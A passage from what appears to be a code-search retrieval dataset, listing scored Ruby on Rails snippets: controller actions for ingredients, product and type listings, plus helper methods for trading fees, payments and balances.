"def ingredients\n recipeingredient.map {|ri| ri.ingredient}\n end", "title": "" }, { "docid": "cd2ef76fa458691426d45d0dd87674e6", "score": "0.54446805", "text": "def items\n \tbegin\n \t@categories = Category.all.includes(items: [:dimensions])\n \t@ingredients = Ingredient.actives\n \trender 'api/v1/home/items', status: :ok\n \trescue Exception => e\n \t\terror_handling_bad_request(e)\n \tend\n\n\tend", "title": "" }, { "docid": "7fc6dbc6845419fc170cd97fceb8d7d4", "score": "0.5442756", "text": "def new\n @ingredient = Ingredient.new\n @ingredient.ingredient_category = @ingredient_category\n @ingredient_categories = IngredientCategory.find(:all)\n\n respond_to do |format|\n format.html # new.html.haml\n format.xml { render :xml => @ingredient }\n end\n end", "title": "" }, { "docid": "c7f84453777383e113c03eb22c2c3cb1", "score": "0.54364836", "text": "def get_available_types_from_usage(usage)\n # TODO: Research use\n @client.raw('get', \"/helpers/available-types/#{usage}\")\n end", "title": "" }, { "docid": "3f031566b2fd47125f71b86524724cd5", "score": "0.5424766", "text": "def destroy\n @diet_ingredient_type.destroy\n respond_to do |format|\n format.html { redirect_to diet_ingredient_types_url, notice: 'Diet ingredient type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "56360abf4aa7e0a6360ad3a600f3e946", "score": "0.54154116", "text": "def index\n # @donation_types = DonationType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @donation_types }\n end\n end", "title": "" }, { "docid": "0df248963ef6ea283f2092b1e8e3e320", "score": "0.54135185", "text": "def index\n @discipline_types = DisciplineType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @discipline_types }\n end\n end", "title": "" }, { "docid": "adee02debb3859ee97a5d9c17d3b85d9", "score": "0.54118603", "text": "def index\n @ingredient_lists = IngredientList.all\n end", "title": "" }, { "docid": "d5d43fd115ec8b97e3a7f76c5f52f83e", "score": "0.54103804", "text": "def index\n @dept_types = DeptType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @dept_types }\n end\n end", "title": "" }, { "docid": "7892cac0590a029361ccf465cb4c1e7b", "score": "0.53998816", "text": "def index\n @language_types = LanguageType.all\n\n render json: @language_types\n end", "title": "" }, { "docid": "cad2fe47f1184d270b61d7952d9554e3", "score": "0.5399698", "text": "def menu\n foods = current_user.restaurant.meals.where(meal_type: 0)\n drinks = current_user.restaurant.meals.where(meal_type: 1)\n render json: {foods: foods, drinks: drinks, is_success: true}, status: :ok\n end", "title": "" }, { "docid": "e0518457131d2672bd1a663674675b66", "score": "0.53987074", "text": "def set_diet_type\n @diet_type = DietType.find(params[:id])\n end", "title": "" }, { "docid": "3579ff228b5c091e4b1a20d1e3fc0c3c", "score": "0.5393918", "text": "def index\n @ingredients = Ingredient.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ingredients }\n end\n end", "title": "" }, { "docid": "e26162a0077dd677f292ca9915380cba", "score": "0.539153", "text": "def index\n @recipeingredients = Recipeingredient.all\n end", "title": "" }, { "docid": "b792a8666a17bf77cbeaf090ea1321df", "score": "0.53878134", "text": "def show\n # accept the params\n # go to the db and get the correct recipe for that param\n p params[:id]\n @recipe = Recipe.find_by(id: params[:id])\n @ingredients = @recipe.ingredients.split(\", \").map {|ingredient| ingredient.capitalize}\n # send this to the view\n # show that data to the user\n render 'show.json.jb'\n end", "title": "" }, { "docid": "83de6f2d1da55e45a160ecddf3f20fb2", "score": "0.53863984", "text": "def show\n @ingredients = Ingredient.all\n end", "title": "" }, { "docid": "366d2845a5b606fd3fbd4cac173bb287", "score": "0.5382416", "text": "def index\n authorize @thing, :get_types?\n @thing_types = @thing.thing_types\n end", "title": "" }, { "docid": "d3308ef4917cad73225bba78e7c78b10", "score": "0.5381868", "text": "def search\n authorize! :show, PointsEntryType\n search_points_entry_types\n\n respond_to do |format|\n #format.html # actually, no.\n format.json {\n render json: @points_entry_types.select([:id, :name, :default_points])\n }\n end\n end", "title": "" }, { "docid": "47041860ae6ecfa5825c846a4874565e", "score": "0.5370905", "text": "def get_product_count_types\n types = CountType.where(product_id: params[:product_id]).order(\"name ASC\").map { |type| [type.id, type.name] }\n render :json => types.to_json.to_s.to_json\n end", "title": "" }, { "docid": "c3b703f53aee06bb65d6a68067e818dc", "score": "0.53697246", "text": "def dbpedia_types\n _response_entity.fetch(\"type\", [])\n end", "title": "" }, { "docid": "bf82f4b48c223e2e49bce49b60f74cdd", "score": "0.53654873", "text": "def index\n @product_types = ProductType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @product_types }\n end\n end", "title": "" }, { "docid": "275337b01f472aaa72110b05f91a7f65", "score": "0.53649676", "text": "def show\n @ingredient_recettes = @ingredient.recettes\n end", "title": "" }, { "docid": "5a9950bc231d860bb1a22012a4a6a6ff", "score": "0.53539634", "text": "def show\n @ingredient = Ingredient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ingredient }\n end\n end", "title": "" }, { "docid": "5a9950bc231d860bb1a22012a4a6a6ff", "score": "0.53539634", "text": "def show\n @ingredient = Ingredient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ingredient }\n end\n end", "title": "" }, { "docid": "b3a5885bdc9a5b46a6a4fdfcbdca8083", "score": "0.5352947", "text": "def index\n @allergens_ingredients = AllergensIngredient.all\n end", "title": "" }, { "docid": "23f5834fc6761597346f1cbf797b0b15", "score": "0.5351573", "text": "def index\n @product_types = ProductType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @product_types }\n end\n end", "title": "" }, { "docid": "6917ca9624992e24f24115f728bae6f9", "score": "0.5348545", "text": "def ingredients\n recipe_ingredients.map do |r|\n r.ingredient\n end\n end", "title": "" }, { "docid": "8cd5517843448ab3c4ee05fe383bffe9", "score": "0.534827", "text": "def index\n @dis_ingredients = DisIngredient.all\n end", "title": "" }, { "docid": "0adf01aff01ec6a2ad9257685919e218", "score": "0.53466403", "text": "def ingredient_params\n ActiveModelSerializers::Deserialization.jsonapi_parse!(params, only: [:name, :location, :category])\n end", "title": "" }, { "docid": "e91e5d3f9ef9e02b6a2e211249b2d409", "score": "0.53449243", "text": "def index\n @varieties = Variety.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @varieties }\n end\n end", "title": "" }, { "docid": "d07895f1084ef287f580707087ad3578", "score": "0.53446555", "text": "def index\n @page_title = \"All Ingredeients\"\n @ingredients = Ingredient.all\n end", "title": "" }, { "docid": "2eb0cd1a15813160d35f73811426f6e3", "score": "0.53437984", "text": "def rec_new\n @beer_types_to_try = BeerType.limit(6).map{|type| [type.id, type.name]}\n render json: @beer_types_to_try\n end", "title": "" }, { "docid": "cb53a0b1fd64d1a367fd3e9cfdbbf314", "score": "0.5341659", "text": "def describe_types\n [@options[:type]].flatten.join('/')\n end", "title": "" }, { "docid": "f2920bf7e3fbf3d3dfe55b8797a775d1", "score": "0.5336372", "text": "def court_types\n render json: GamePass.court_types_options\n end", "title": "" }, { "docid": "8a921e3ac4a2d39bfefdd5ac2336531b", "score": "0.5334301", "text": "def new\n @talent = Talent.new\n @types = Type.all\n \n respond_to do |format|\n format.html \n format.json { render :json => @talent }\n end\n end", "title": "" }, { "docid": "959f4faac4d54033babea532a6a03242", "score": "0.53341556", "text": "def recipebook\n @levels = Level.all\n\n respond_to do |format|\n format.html # recipebook.html.erb\n format.json { render json: @levels }\n end\n end", "title": "" }, { "docid": "9b69495109b808deed131486125bb458", "score": "0.5333888", "text": "def show\n if params[:term]\n @types = Type.all(:conditions => ['typeName LIKE ?', \"%#{params[:term]}%\"])\n else\n @type = Type.find(params[:id])\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @types }\n end\n end", "title": "" }, { "docid": "835c0c95f371db91aabe21050fcba193", "score": "0.533117", "text": "def index\n @recipe_ingredients_units = RecipeIngredientsUnit.all\n end", "title": "" }, { "docid": "cbdfff9e70eebbc935441739d1e1446d", "score": "0.532877", "text": "def show\n if recipeIngredient\n render json: recipeIngredient\n else \n render json: {message: 'Recipe Ingredient not found'}\n end\n end", "title": "" }, { "docid": "db691bf1180fcfd3257c8c769c9db38f", "score": "0.5326761", "text": "def get_resource_types\n Occi::Log.debug(\"Getting resource types ...\")\n collection = @model.get Occi::Core::Resource.kind\n collection.kinds.collect { |kind| kind.term }\n end", "title": "" }, { "docid": "3335362f5ab5ed94fa9275db4e469c0c", "score": "0.5325615", "text": "def index\n @type_animals = TypeAnimal.all\n end", "title": "" }, { "docid": "de0f72d3936a4f70b968e902524bbf12", "score": "0.53238344", "text": "def show\n @type = Type.find(params[:id])\n @things = @type.things\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @type }\n end\n end", "title": "" } ]
49ea6b835c4ef0536c67ed22036db26c
Trading fee of this trade
[ { "docid": "1e8e6a696c8d61efc60bc306d87b6ec6", "score": "0.8243364", "text": "def trading_fee\n return exchange_trading_fee if exchange_trading_fee > 0\n system_calculated_trading_fee\n end", "title": "" } ]
[ { "docid": "3b5acb46e6c36153cfe49f1634a753de", "score": "0.7607419", "text": "def transaction_fee\n Money.new(-WITHDRAWAL_FEE_IN_CENTS, self.currency)\n end", "title": "" }, { "docid": "bf3d6a2d3250d5764d865ca4c9585f17", "score": "0.71974546", "text": "def fee\n @fee || DEFAULT_FEE\n end", "title": "" }, { "docid": "82847fef8c7c07c5a419920be4c13175", "score": "0.7030685", "text": "def fee\n (amount * 0.005) if amount\n end", "title": "" }, { "docid": "58c6dbf5df56e7ab2e2482968e22ddb2", "score": "0.69724005", "text": "def update_fee\n\t\tmoney_info = money_info()\n\t\t@fee = money_info['Trade_Fee'] / 100.0\n\tend", "title": "" }, { "docid": "943aa1e9c39221a6a87aaa05872f74d9", "score": "0.67738545", "text": "def cf\n\t\tself.buy ? (-self.amount-self.fee) : (self.amount - self.fee)\n\tend", "title": "" }, { "docid": "35b54a8285e17c2afc834f7ac06bb756", "score": "0.6689987", "text": "def host_fee\n (total - net_rate).round(2)\n end", "title": "" }, { "docid": "b3457028783e8fe8db2c6b7922e70352", "score": "0.6687963", "text": "def fee\n params['amount_fee']\n end", "title": "" }, { "docid": "a87b936b3d81598080f49c37cc094a90", "score": "0.66603", "text": "def amount\n return self.fee['amount'].to_f\n end", "title": "" }, { "docid": "6207ef971c2a94a4c8ebcd5b55225a91", "score": "0.6551201", "text": "def order_fee extra_fee=false, bitcoin=false\n fee = APPLICATION_FEE\n fee += FAIL_FEE if extra_fee\n number = bitcoin ? bitcoin_amount : price\n ((number.to_f * fee) * 100.0).to_i\n end", "title": "" }, { "docid": "e8e1084ef6ebec799ca79cbd4124b0ef", "score": "0.65501946", "text": "def fees\n total_input - total_output\n end", "title": "" }, { "docid": "4e35cc7735cb6865e7574cc591d18315", "score": "0.65214145", "text": "def trade_value\n 0.4\n\n end", "title": "" }, { "docid": "c15b0bcc5707ae93e446d4119270039f", "score": "0.649219", "text": "def total_fee\n fee + fee2 + fee3 + fee4\n end", "title": "" }, { "docid": "828957e910b18bcec08dd8ebc600a186", "score": "0.63658977", "text": "def fee_cents\n (fee.to_f * 100.0).round\n end", "title": "" }, { "docid": "6bf0abffa2d496cf3f29a2a08d79f8bf", "score": "0.6340565", "text": "def fulfillment_fee\n\t line_items.inject(0.0) {|charge, line_item| charge = charge + (line_item.fulfillment_fee)}\n end", "title": "" }, { "docid": "7938a1786f5cab72bf5b55d94d040e2b", "score": "0.63184136", "text": "def profit\n \tself.bid - self.payout\n end", "title": "" }, { "docid": "a2a939549f802ca7e732f98404b2b404", "score": "0.6300638", "text": "def buy_a_ticket()\n tickets = self.tickets()\n ticket_price = tickets.map{|ticket| ticket.price}\n return @funds - ticket_price\n end", "title": "" }, { "docid": "7f36c86d1a25e7dc033ef19a497b958a", "score": "0.6297312", "text": "def insurance_fee\n (COMMISSION_RATE * INSURANCE_PART_RATE * price).round\n end", "title": "" }, { "docid": "200b3871708933808b0dccd80e4227cf", "score": "0.6286969", "text": "def node_fee(fee_base_msat, fee_proportional_millionths, amount_to_forward)\n fee_base_msat + (amount_to_forward * fee_proportional_millionths) / 1000000\n end", "title": "" }, { "docid": "dad45bafe59dae05e244583711874c07", "score": "0.62853163", "text": "def profit\n total_before_tax - total_cost\n end", "title": "" }, { "docid": "dad45bafe59dae05e244583711874c07", "score": "0.62853163", "text": "def profit\n total_before_tax - total_cost\n end", "title": "" }, { "docid": "58ddf9c64b8a664d151e68d280bb6bda", "score": "0.627899", "text": "def current_payment_fee\n payment.try(:current_fee) || 0\n end", "title": "" }, { "docid": "266a07cb8aa1083e8e035fc27c1a9ec7", "score": "0.6277222", "text": "def calculate_fee_amount base_amount\n (base_amount * SITE_FEE_PERCENTAGE).round(2)\n end", "title": "" }, { "docid": "2f6256306a16da67c3b2043fa13c653f", "score": "0.62770975", "text": "def charged_fee(amount)\n (amount * merchant.fee)\n end", "title": "" }, { "docid": "6e95a9d259ed33f66438bb206a30f439", "score": "0.62489367", "text": "def application_fee\n self[:application_fee] || (unit_price * (COMMISSION_RATE / 100) + TRANSACTION_COST / 100).round(2) || BigDecimal(0)\n end", "title": "" }, { "docid": "713d6696a1a59be4422bb92b244a7c08", "score": "0.62349766", "text": "def calculate_seller_amount base_amount, fee_amount\n (base_amount - fee_amount).round(2)\n end", "title": "" }, { "docid": "3ff2e8cfb16728a5d1376c04d70f57f4", "score": "0.6218272", "text": "def fulfillment_fee\n begin\n if variant.product_costs.where(:retailer_id => self.order.retailer_id).first.fulfillment_fee > 0\n variant.product_costs.where(:retailer_id => self.order.retailer_id).first.fulfillment_fee * quantity\n else\n self.order.retailer.fulfillment_fee * quantity\n end\n rescue\n begin\n self.order.retailer.fulfillment_fee * quantity\n rescue\n 0.0\n end\n end\n end", "title": "" }, { "docid": "644bea1066f35253473201971b6a4ca8", "score": "0.618868", "text": "def fees\n raise Sibit::NotSupportedError, 'Btc.com doesn\\'t provide recommended fees'\n end", "title": "" }, { "docid": "c4aa76badffd24fd5e8f4b2e7e6a65dd", "score": "0.61826396", "text": "def total\n (amount + fee) if amount\n end", "title": "" }, { "docid": "7ef42e87ccd04d39e5f28cc64dd4a2b5", "score": "0.61391765", "text": "def channel_fee\n 1\n end", "title": "" }, { "docid": "831bde44b69352b677332619a6b8efa4", "score": "0.6130295", "text": "def fees\n raise Sibit::NotSupportedError, 'Blockchair doesn\\'t implement fees()'\n end", "title": "" }, { "docid": "894e6ca02f243ea18173cedd2d1f02fb", "score": "0.60995317", "text": "def assistance_fee\n ROADSIDE_ASSISSTANCE_FEE_PER_DAY * duration\n end", "title": "" }, { "docid": "e703c30294c7c7bf35f43511650309c4", "score": "0.6095439", "text": "def payment\n payment = 0\n transactions = finance_transactions\n unless transactions.nil?\n transactions.each do |t|\n payment += t.amount\n end\n end\n payment\n end", "title": "" }, { "docid": "d982cac09599e0facae0164cc90a7228", "score": "0.6082302", "text": "def price\n MoneyUtils.format(self.price_basis)\n end", "title": "" }, { "docid": "3fba8a3a19b064bc1450bf2664654b79", "score": "0.6076892", "text": "def get_fee(price, currency=\"USD\")\n query_and_build \"marketplace/fee/#{price}/#{currency}\"\n end", "title": "" }, { "docid": "6ccebf94f6be8a1b5cec6a914ba5d96f", "score": "0.60528135", "text": "def portfolio_cash_delta\n absolute_delta = quantity * price\n (trade_order.is_buy?) ? -absolute_delta : absolute_delta\n end", "title": "" }, { "docid": "5423031fd2a90d806a93523f3527eeca", "score": "0.60463107", "text": "def document_fee\n 0\n end", "title": "" }, { "docid": "d273a09119c9894dd8cd344de7fa09cb", "score": "0.6038605", "text": "def cf_purchase_transaction_cost\n cash_flow_builder(amt: -self.purchase_transaction_cost*1000, pos_arr: [0])\n end", "title": "" }, { "docid": "571267e3879c827bdcc7a0c98dddd246", "score": "0.6035906", "text": "def fee\n params['mc_fee']\n end", "title": "" }, { "docid": "571267e3879c827bdcc7a0c98dddd246", "score": "0.6035906", "text": "def fee\n params['mc_fee']\n end", "title": "" }, { "docid": "c526e9beabb4906053e13b85881939e3", "score": "0.6030068", "text": "def amount_owed\n total_price - amount_paid\n end", "title": "" }, { "docid": "8a1659a21aa18b1ffa04619bf81db68d", "score": "0.60108423", "text": "def consignment_fee\n hash[\"ConsignmentFee\"]\n end", "title": "" }, { "docid": "ffa6abb22a82bf8a020bdd2745fccab9", "score": "0.6009927", "text": "def profit\n revenue - total_costs\n end", "title": "" }, { "docid": "de73238ec15e5f47e67e7c61324573db", "score": "0.6003002", "text": "def fees\n @fees ||= {\n \"insurance_fee\" => (commission * ASSURANCE_SHARE).round(0),\n \"assistance_fee\" => (ASSISTANCE_COST * rental.duration).round(0)\n }.tap { |fees| fees[\"drivy_fee\"] = commission - fees.values.inject(:+) }\n end", "title": "" }, { "docid": "57a7b0f850c36f4fde6e5c062eed5895", "score": "0.59936154", "text": "def compute_fee_for_transaction(tx, fee_rate)\n # Return mining fee if set manually\n return fee if fee\n # Compute fees for this tx by composing a tx with properly sized dummy signatures.\n simulated_tx = tx.dup\n simulated_tx.inputs.each do |txin|\n txout_script = txin.transaction_output.script\n txin.signature_script = txout_script.simulated_signature_script(strict: false) || txout_script\n end\n return simulated_tx.compute_fee(fee_rate: fee_rate)\n end", "title": "" }, { "docid": "eeb566cb7189ec7e1f43b5fefebfa431", "score": "0.5990881", "text": "def donated_amount\n self.fees.purchased.sum(:amount).to_f\n end", "title": "" }, { "docid": "3efecda2640b25b41283027e8e36b561", "score": "0.5979093", "text": "def overdraft_fee\n @balance -= 30 \n end", "title": "" }, { "docid": "94cb870642b6f23ee0eb28a7a300bfcf", "score": "0.59786457", "text": "def fee_as_percentage\n (merchant.fee * 100).to_i\n end", "title": "" }, { "docid": "0e5ad4547437ca6c613615ca788f01c1", "score": "0.5950919", "text": "def compute_fee(fee_rate: DEFAULT_FEE_RATE)\n self.class.compute_fee(self.data.bytesize, fee_rate: fee_rate)\n end", "title": "" }, { "docid": "9dedfe1f2449239cbbf9e8491ea6e47f", "score": "0.59451294", "text": "def real_amount()\n Bankjob.string_to_float(amount, @decimal)\n end", "title": "" }, { "docid": "a16e163fdb93b00b605529602eb0877c", "score": "0.59402484", "text": "def get_fee_send\n fee = self.blocks_get_fees\n if fee[\"success\"]\n return fee[\"fees\"][\"send\"]\n else\n return nil\n end\n end", "title": "" }, { "docid": "f87c78c113d3d86b53dfe491d2ca5839", "score": "0.5939951", "text": "def total_debt\n self.amount\n end", "title": "" }, { "docid": "5dba30dd88aacde94e322b8decb8efbd", "score": "0.5939834", "text": "def add_money\n @total += fee\n end", "title": "" }, { "docid": "c3e82c21788511e9b842fbca2827d45a", "score": "0.592142", "text": "def pvcycle_total_fees\n pvcycle_membership_fee + pvcycle_contribution_fee\n end", "title": "" }, { "docid": "afb6042a21036d4b931b4cf22ee93e96", "score": "0.5903036", "text": "def fixed_fee_quantity\n qty = billing_frequency.total_months\n sub_starting_at = subscriber.starting_at\n sub_ending_at = subscriber.ending_at\n if self.reading_type_id == ReadingType::RETIRADA && !self.reading_date.blank?\n sub_ending_at = self.reading_date.to_date\n end\n bp_billing_starting_date = billing_period.billing_starting_date\n bp_billing_ending_date = billing_period.billing_ending_date\n begin\n if sub_starting_at > bp_billing_starting_date && sub_starting_at < bp_billing_ending_date\n # Subscriber registerd during the period\n # qty = (bp_billing_ending_date - sub_starting_at).to_i.days.seconds / 1.month.seconds\n qty = ((bp_billing_ending_date - sub_starting_at).days.seconds / 1.month.seconds).round\n end\n if (!sub_ending_at.nil?) && (sub_ending_at > bp_billing_starting_date && sub_ending_at < bp_billing_ending_date)\n # Subscriber withdrawn during the period\n qty = ((sub_ending_at - bp_billing_starting_date).days.seconds / 1.month.seconds).round\n end\n rescue\n qty = billing_frequency.total_months\n end\n return qty\n end", "title": "" }, { "docid": "ce04b2f281c2b73e125514baa075b4d4", "score": "0.58931285", "text": "def balance\n res = dollars\n\n fund_transactions.each do |tran|\n res += tran.dollars\n end\n\n return res\n end", "title": "" }, { "docid": "6139b287b3f9c8dc5a4f63f044a59999", "score": "0.5876832", "text": "def buy_ticket(ticket)\n if @funds >= ticket.price\n @funds -= ticket.price\n else\n return \"not enough funds\"\n end\n end", "title": "" }, { "docid": "41ebd10a8c44bf8ba4ebd5e29c5461c0", "score": "0.58689994", "text": "def fee\n @ipn['mc_fee']\n end", "title": "" }, { "docid": "e998e2ef0a228f02214b0e568fd816f6", "score": "0.5865806", "text": "def fee\n\tparams['mc_fee']\n end", "title": "" }, { "docid": "c0edda35bc121827c25f8925369c7dcc", "score": "0.58593553", "text": "def apply_fees\n remove_fees\n unless waive_fees\n #CHALKLE\n self.chalkle_gst_number = Finance::CHALKLE_GST_NUMBER\n self.chalkle_fee = course.chalkle_fee_no_tax\n self.chalkle_gst = course.chalkle_fee_with_tax - chalkle_fee\n \n self.processing_fee = course.processing_fee\n self.processing_gst = course.processing_fee*3/23\n self.processing_fee = course.processing_fee-self.processing_gst\n\n #TEACHER FEE\n if provider_pays_teacher?\n self.teacher_fee = 0\n self.teacher_gst = 0\n else\n if fee_per_attendee?\n self.teacher_fee = course.teacher_cost\n elsif flat_fee?\n confirmed_booking_count = course.bookings.fees_not_waived.paid.confirmed.count\n if confirmed_booking_count > 0\n self.teacher_fee = course.teacher_cost / confirmed_booking_count\n else\n self.teacher_fee = course.teacher_cost\n end\n end\n end\n\n #TEACHER TAX\n if course.teacher.present? && course.teacher.tax_registered?\n self.teacher_gst_number = course.teacher.tax_number\n self.teacher_gst = teacher_fee*3/23\n self.teacher_fee = teacher_fee-teacher_gst\n else\n self.teacher_gst = 0\n self.teacher_gst_number = nil\n end\n\n #PROVIDER\n self.provider_fee = course.provider_fee\n if provider.tax_registered?\n self.provider_gst_number = provider.tax_number\n self.provider_gst = course.provider_fee*3/23\n self.provider_fee = self.provider_fee-self.provider_gst\n else\n self.provider_gst_number = nil\n self.provider_gst = 0\n end\n\n #adjust in case calc_cost is not course cost, should only happen if flat_fee\n difference = course.cost - calc_cost\n if difference != 0\n self.provider_fee = course.provider_fee + difference\n if provider.tax_registered?\n self.provider_gst_number = provider.tax_number\n self.provider_gst = course.provider_fee*3/23\n self.provider_fee = self.provider_fee-self.provider_gst\n else\n self.provider_gst_number = nil\n self.provider_gst = 0\n end\n end\n\n #adjust in case payment has been made already\n difference = cost - calc_cost\n if difference != 0\n #adjust processing_fee\n self.processing_fee = cost * course.provider_plan.processing_fee_percent\n self.processing_gst = self.processing_fee*3/23\n self.processing_fee = self.processing_fee-self.processing_gst\n\n #reset difference to adjust for processing_fee changes\n difference = cost - calc_cost\n\n #if payment exists then adjust provider fee to ensure the payment amount matches calc_cost\n adjustment_for_provider = difference\n adjustment_for_teacher = 0\n\n if provider_fee+provider_gst+difference < 0\n #if adjusted provider_fee is negative then deduct that negative amount from teacher_fee and make provider_fee 0\n adjustment_for_teacher = provider_fee+provider_gst+difference \n self.provider_fee = 0\n self.provider_gst = 0\n else\n self.provider_fee = provider_fee+provider_gst+adjustment_for_provider\n if provider.tax_registered?\n self.provider_gst = provider_fee*3/23\n self.provider_fee = provider_fee - provider_gst\n end\n end\n \n if adjustment_for_teacher != 0\n self.teacher_fee = teacher_fee+teacher_gst+adjustment_for_teacher\n if course.teacher.present? && course.teacher.tax_registered?\n self.teacher_gst = teacher_fee*3/23\n self.teacher_fee = teacher_fee-teacher_gst\n end\n end\n end\n end\n cost\n end", "title": "" }, { "docid": "14d23e4ba5808e72b326df0de264a54c", "score": "0.58543503", "text": "def btc_profit\n break_even.abs\n end", "title": "" }, { "docid": "3fa273ece8d2fc43113daf978426f6c9", "score": "0.5842863", "text": "def compute_unit_rental_price\n per_time_fee + per_mileage_fee\n end", "title": "" }, { "docid": "80b88c8fdf3de8338eab5ec0fc8721a7", "score": "0.58411247", "text": "def get_flat_shipping_price\n return @@handling_fee\n end", "title": "" }, { "docid": "81098f7adb200b5029e7b14ca83b539b", "score": "0.5839491", "text": "def loan_amt\n (self.buying_price*1000) * (1 - (self.deposit/100))\n end", "title": "" }, { "docid": "1ef74efb609e7ffa7f7aef1010a42dac", "score": "0.58352226", "text": "def fees(period = (Time.now.beginning_of_month - 1).beginning_of_month .. (Time.now.beginning_of_month - 1).end_of_month)\n subscription_payments.where({ :created_at => period }).collect(&:affiliate_amount).sum\n end", "title": "" }, { "docid": "9022155c56427dc6a30fefa783f10ec0", "score": "0.582451", "text": "def amount_after_tax\n if waitlist_deduct_amount.present?\n amount_after_discounted + amount_of_tax - waitlist_deduct_amount\n else\n amount_after_discounted + amount_of_tax\n end\n end", "title": "" }, { "docid": "aea91a0475489ac6362d55705220ebb0", "score": "0.58195335", "text": "def balance_owed\n discounted_price - amount_paid\n end", "title": "" }, { "docid": "7485fc027b2c71a8841bc379674c77ae", "score": "0.5816615", "text": "def total_debt\n Money.new(all_debts.sum { |_, debt| debt }, 'PLN')\n end", "title": "" }, { "docid": "b156732961aafe3d21d106d3195c1f34", "score": "0.5809903", "text": "def text_book_sale_price(addPayPalFee=false)\n sale_price = 0\n shipping_fee = (self.vendor.shipping_fee.nil?) ? 0 : self.vendor.shipping_fee\n shipping_percentage = (self.vendor.shipping_percentage.nil?) ? 0 : self.vendor.shipping_percentage\n\n sale_price = self.price + shipping_fee + (self.price * shipping_percentage) * 1.088\n\n if addPayPalFee\n sale_price *= 1.029\n end\n\n (sale_price * 100).round.to_f/100\n end", "title": "" }, { "docid": "19c405d745a5aea98e922c23ea48730b", "score": "0.5800555", "text": "def transaction_total_price\n hash[\"TransactionTotalPrice\"]\n end", "title": "" }, { "docid": "f4a109b8e115e6a9ee31553cb363122d", "score": "0.5796508", "text": "def total_funds\n self.collect{ |cs| cs.amount.to_f}.inject(0, :+)\n end", "title": "" }, { "docid": "4baefd3340f1e2d7f966c2d8e0871c72", "score": "0.5791284", "text": "def calculate_fee\n cost = (shooter.current_member? or join_psac) ? 15 : 20\n has_shooter = persisted? ? match.has_more_than_one_shooter?(shooter) : match.has_shooter?(shooter)\n if has_shooter\n cost = 3\n self.squad = 5\n end\n if join_psac\n cost += 30\n end\n self.fee = cost\n end", "title": "" }, { "docid": "54a2a5a1a3eab8d85d805b7d7e12872c", "score": "0.5790894", "text": "def state_fulfillment_fee\n adjustments.eligible.where(:label => 'Additional State Fulfillment Fee').first.amount rescue 0.0\n end", "title": "" }, { "docid": "875f8c4baf1cbf8c7c063ab1d96d6533", "score": "0.5763593", "text": "def investment\n if buy_price\n num_of_shares * buy_price\n end\n end", "title": "" }, { "docid": "f5c80b95de078e38387959895f729260", "score": "0.5763426", "text": "def retrieve_fees\n return if stripe_charge_id.nil?\n\n transaction = Stripe::BalanceTransaction.retrieve(stripe_charge.balance_transaction)\n return if transaction.nil?\n\n self.fee = transaction.fee / 100.0\n self.received_amount = transaction.net / 100.0\n save\n end", "title": "" }, { "docid": "1428f32e6e49c9d4a97246bfc8b5a607", "score": "0.57558185", "text": "def get_late_fee\n lib = Library.find(self[:library_id])\n max_brw_days = lib.max_borrow_days\n fine = lib.overdue_fine\n\n late_fee = 0\n start_date = self[:start]\n\n if !start_date.nil? && Time.now > start_date + max_brw_days.days\n overdue_days = (Time.now.to_date - (start_date + max_brw_days.days).to_date).to_i\n late_fee = fine * overdue_days\n end\n\n return late_fee\n end", "title": "" }, { "docid": "43cd8e1223be0688309a726181fb09b2", "score": "0.57461965", "text": "def annual_trade\n (1.25 * trade_node.trade_value * trade_power / trade_node.total_trade_power).round(6)\n end", "title": "" }, { "docid": "3606dd1889e37b587a9e02755be0b995", "score": "0.57430524", "text": "def calculate_pay(trip_cost)\n return trip_cost >= TRIP_FEE ? (trip_cost - TRIP_FEE) * 0.80 : 0.0\n end", "title": "" }, { "docid": "7cfd270f0bdfaeb3e0b03da11915aa22", "score": "0.5739587", "text": "def get_convenience_fee\n @invoice.amount ? CalcTotal::get_convenience_fee(sales_price).round(2) : 0.0\n end", "title": "" }, { "docid": "288868d2315a0c463776145023e9847b", "score": "0.5733787", "text": "def get_btc_profit\n close_positions.sum(:quantity) - quantity\n end", "title": "" }, { "docid": "858f61d533cd896d087f2a2baae3a139", "score": "0.57262176", "text": "def total_affiliate_fee\n total = 0.0\n @lines.each {|line| total += (line.li_aff_fee * line.li_qty) }\n total\n end", "title": "" }, { "docid": "eb980350e61141457387640719fbe3eb", "score": "0.5705119", "text": "def add_fee_transaction(bank_account, amount, description = nil)\n return if amount.zero?\n\n logger.debug \"Creating fee transaction for #{amount} from #{bank_account} (#{description})\"\n\n @api.post('BankTransactions', {\n 'Type' => amount.negative? ? 'RECEIVE' : 'SPEND',\n 'Contact' => {\n 'ContactID' => find_or_create_xero_contact(@export.payment_providers[bank_account] ||\n 'Generic Payment Processor')\n },\n 'Date' => @export.date.strftime('%Y-%m-%d'),\n 'BankAccount' => { 'Code' => bank_account },\n 'Reference' => @export.reference,\n 'LineItems' => [\n {\n 'Description' => description || 'Fees',\n 'UnitAmount' => amount.abs,\n 'AccountCode' => @export.fee_accounts[bank_account] || '404',\n 'Tracking' => tracking_options\n }\n ]\n })['BankTransactions'].first\n end", "title": "" }, { "docid": "015832cd5420305db35dc5773edff0c7", "score": "0.56987125", "text": "def tc_amount(accounting_element)\n\t\t\t\t payment_form = accounting_element[:payment_info][:payment][:form]\n\t\t\t\t if payment_form == \"CC\" then\n\t\t\t\t return (ticket_base_fare(accounting_element).to_f + ticket_tax(accounting_element).to_f).round(2)\n\t\t\t\t else\n return 0\n\t\t\t\t end\n\t\t\t end", "title": "" }, { "docid": "59f85746ac662718011c855e659ea955", "score": "0.5690647", "text": "def withdraw(amount)\n amount += TRANSACTION_FEE\n super(amount)\n end", "title": "" }, { "docid": "59f85746ac662718011c855e659ea955", "score": "0.5690647", "text": "def withdraw(amount)\n 